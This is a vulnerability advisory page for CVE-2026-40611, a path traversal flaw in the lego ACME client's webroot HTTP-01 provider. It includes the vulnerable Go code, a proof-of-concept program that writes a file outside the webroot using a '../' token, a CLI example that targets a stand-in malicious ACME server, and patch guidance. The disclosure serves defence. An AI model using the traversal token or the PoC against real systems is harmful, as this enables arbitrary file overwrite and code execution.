Skip to main content

lego (ACME client) CVE-2026-40611

HIGH
Path Traversal (CWE-22)
2026-04-16 https://github.com/go-acme/lego GHSA-qqx8-2xmm-jrv8
8.8
CVSS 3.1 · Vendor: https://github.com/go-acme/lego
Share

Severity by source

Vendor (https://github.com/go-acme/lego) PRIMARY
8.8 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI
8.8 HIGH

Malicious ACME server needs no victim privileges (PR:N) but the user must run lego against it (UI:R); arbitrary file write yields full C/I/A impact within the lego process's unchanged scope (S:U).

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE
HIGH
qualitative
Red Hat
8.8 HIGH
qualitative

Primary rating from Vendor (https://github.com/go-acme/lego).

CVSS VectorVendor: https://github.com/go-acme/lego

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
Source Code Evidence Fetched
Jul 24, 2026 - 07:19 vuln.today
Analysis Generated
Jul 24, 2026 - 07:19 vuln.today
Patch released
Apr 17, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 16, 2026 - 21:28 nvd
HIGH 8.8

DescriptionCVE.org

Summary

The webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing ../ sequences, causing lego to write attacker-influenced content to any path writable by the lego process.

Details

The ChallengePath() function in challenge/http01/http_challenge.go:26-27 constructs the challenge file path by directly concatenating the ACME token without any validation:

go
func ChallengePath(token string) string {
	return "/.well-known/acme-challenge/" + token
}

The webroot provider in providers/http/webroot/webroot.go:31 then joins this with the configured webroot directory and writes the key authorization content to the resulting path:

go
challengeFilePath := filepath.Join(w.path, http01.ChallengePath(token))
err = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755)
err = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644)

RFC 8555 Section 8.3 specifies that ACME tokens must only contain characters from the base64url alphabet ([A-Za-z0-9_-]), but this constraint is never enforced anywhere in the codebase. When a malicious ACME server returns a token such as ../../../../../../tmp/evil, filepath.Join() resolves the .. components, producing a path outside the webroot directory.

The same vulnerability exists in the CleanUp() function at providers/http/webroot/webroot.go:48, which deletes the challenge file using the same unsanitized path:

go
err := os.Remove(filepath.Join(w.path, http01.ChallengePath(token)))

This additionally enables arbitrary file deletion.

PoC

In a real attack scenario, the victim uses --server to point lego at a malicious ACME server, combined with --http.webroot:

bash
lego --server https://malicious-acme.example.com \
     --http --http.webroot /var/www/html \
     --email user@example.com \
     --domains example.com \
     run

The malicious server returns a challenge token containing path traversal sequences ../../../../../../tmp/pwned. lego's webroot provider writes the key authorization to the traversed path without validation, resulting in arbitrary file write outside the webroot.

The following minimal Go program demonstrates the core vulnerability by directly calling the webroot provider with a crafted token:

go
package main

import (
	"fmt"
	"os"

	"github.com/go-acme/lego/v4/providers/http/webroot"
)

func main() {
	webrootDir, _ := os.MkdirTemp("", "lego-webroot-*")
	defer os.RemoveAll(webrootDir)

	provider, _ := webroot.NewHTTPProvider(webrootDir)
	token := "../../../../../../../../../../tmp/pwned"
	provider.Present("example.com", token, "EXPLOITED-BY-PATH-TRAVERSAL")

	data, err := os.ReadFile("/tmp/pwned")
	if err == nil {
		fmt.Println("[+] VULNERABILITY CONFIRMED")
		fmt.Printf("[+] File written outside webroot: /tmp/pwned\n")
		fmt.Printf("[+] Content: %s\n", data)
	}
}
bash
go build -o exploit ./exploit.go && ./exploit

Expected output:

[+] VULNERABILITY CONFIRMED
[+] File written outside webroot: /tmp/pwned
[+] Content: EXPLOITED-BY-PATH-TRAVERSAL

Impact

This is a path traversal vulnerability (CWE-22). Any user running lego with the HTTP-01 challenge solver against a malicious or compromised ACME server is affected.

A malicious ACME server can:

  • Achieve remote code execution by writing to cron directories, systemd unit paths, shell profiles, or web application directories served by the webroot.
  • Destroy data by overwriting configuration files, TLS certificates, or application state.
  • Escalate privileges if lego runs as root, granting unrestricted filesystem write access.
  • Delete arbitrary files via the CleanUp() code path using the same unsanitized token.

AnalysisAI

Arbitrary file write and deletion in the go-acme/lego ACME client (versions before 4.34.0) allows a malicious or compromised ACME server to escape the configured webroot via path traversal. When lego solves an HTTP-01 challenge with the webroot provider, it writes the key authorization to a path built by directly concatenating the server-supplied challenge token; a token containing '../' sequences (e.g. '../../../../tmp/pwned') redirects the write - and the corresponding CleanUp() delete - to any location writable by the lego process, up to remote code execution if lego runs as root. Publicly available exploit code exists (SSVC 'poc'), but the EPSS score is very low (0.05%, 14th percentile), consistent with the requirement that the victim first point lego at an attacker-controlled ACME server.

Technical ContextAI

lego is a widely used Go ACME/Let's Encrypt client library and CLI. The HTTP-01 challenge flow requires the client to place a token-named file under /.well-known/acme-challenge/ so the CA can verify domain control. The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory): ChallengePath() in challenge/http01/http_challenge.go builds '/.well-known/acme-challenge/' + token with no validation, and the webroot provider (providers/http/webroot/webroot.go) passes the result through filepath.Join(w.path, ...). Because filepath.Join resolves '..' components, a token like '../../../../tmp/evil' collapses the join to an absolute path outside the webroot, where os.MkdirAll + os.WriteFile create attacker-controlled content and os.Remove deletes attacker-chosen files. RFC 8555 Section 8.3 restricts ACME tokens to the base64url alphabet [A-Za-z0-9_-], which would prevent traversal, but lego never enforces this constraint - it implicitly trusts the ACME server, which is precisely the trust boundary the attacker crosses.

RemediationAI

Vendor-released patch: upgrade to lego 4.34.0 or later, which is the fixed release for the v4 module line; rebuild and redeploy any downstream binaries that vendor lego. No fixed release is identified for the legacy v3 (<= 3.9.0) or v2/original (<= 2.7.2) module lines, so migrate those to the v4 4.34.0+ line. Distribution users should apply their vendor update, e.g. Red Hat RHSA-2026:21772 (https://access.redhat.com/errata/RHSA-2026:21772). If you cannot patch immediately, the highest-value compensating control is to only ever point lego at a trusted ACME server - verify the --server value and treat any internal/self-hosted ACME endpoint as a trust boundary (protect and monitor it against compromise); this fully removes the attack when honored but relies on operational discipline. Additionally, run lego as a low-privilege, non-root user with a filesystem restricted to the webroot (dedicated account, no write access to cron, systemd unit, or shell-profile directories), which limits blast radius but does not stop writes within reachable paths. Consider the DNS-01 solver instead of webroot where feasible to avoid the vulnerable code path entirely, at the cost of DNS provider configuration. Reference the advisory at https://github.com/go-acme/lego/security/advisories/GHSA-qqx8-2xmm-jrv8.

Vendor StatusVendor

SUSE

Severity: High

Share

CVE-2026-40611 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy